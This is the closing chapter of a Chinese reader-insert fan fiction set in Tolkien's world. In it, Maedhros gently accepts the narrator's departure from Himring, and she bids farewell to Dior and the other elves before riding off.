迈兹洛斯握住你的手,肩膀挨着肩膀,他现在已经放弃了,如果说之前他还在考虑是否要动用其他手段把你给留下来的话,那么此时的他已经完全打消了这种念头。 正是因为了解你,知道你的性格,就该明白他就算再怎么做也是徒劳无功。 所以倒不如顺其自然,只要他还留在这片大陆上,那你们就还有见面的机会,他已经等待过你很多次了,那些等待磨去了他的锐气,现在他可以笃定地说自己最擅长的就是等待了,精灵拥有的无尽生命反而成为了等待的优势。 他说:“接下来你就去你想去的地方吧。” “我还以为你会提出要跟我一块去的呢。” “如果你没有主动邀请的话,就说明你没有这方面的想法,我不想为难你。”迈兹洛斯隐约在叹息着,他想,自己已经从你身上学到了很多,比如说放手。 你惊讶于迈兹洛斯的通情达理,原本你都已经做好了和他打一架的准备呢,结果就只是这么简单吗? 你难得地不知道该说些什么,迈兹洛斯接着往下说:“反正我们以后还会再见面的不是吗?” 从某种程度上来说,他居然比芬罗德还要释然,毕竟要是换成芬罗德的话,估计就不会是现在的局面了,他大概率会尽可能地留在你身边。 果然每个精灵的性格都有所不同啊,如果在这里的是凯勒巩的话,他才不会表现得那么平静呢,他的性格决定了他会不择手段地达成自己的目的,哪怕最后的结果是闹得两方不欢而散。 也不知道迈兹洛斯都想了些什么,他又是怎么说服自己的,这也不是你需要考虑的事情。 时间不知道过了多久,在平静安宁的气氛下,你都快失去了对时间流逝的感知力。 直到夕阳落下,你这才起身,迈兹洛斯问道:“要走了吗?” 不仅仅是在问你要回宫殿了吗?更像是在问你要离开希姆凛了吗? 你说:“是啊,要走了。” 感动归感动,但你还是想去别的地方看看,停留在同一个地方太久你难免会觉得无聊,于是你还是按照计划离开,在离开希姆凛的那一天你特意向迪奥告别,他说:“我们日后还会再见面吗?” “应该会的。” 骑在马背上的你回过头与众精灵挥手告别。 他们无法预料下一次见面是什么时候,更无法料及那个时候你的身边又多出了那个名叫莱戈拉斯的精灵。 但那都是遥远未来的事情了。 【正文完】《 》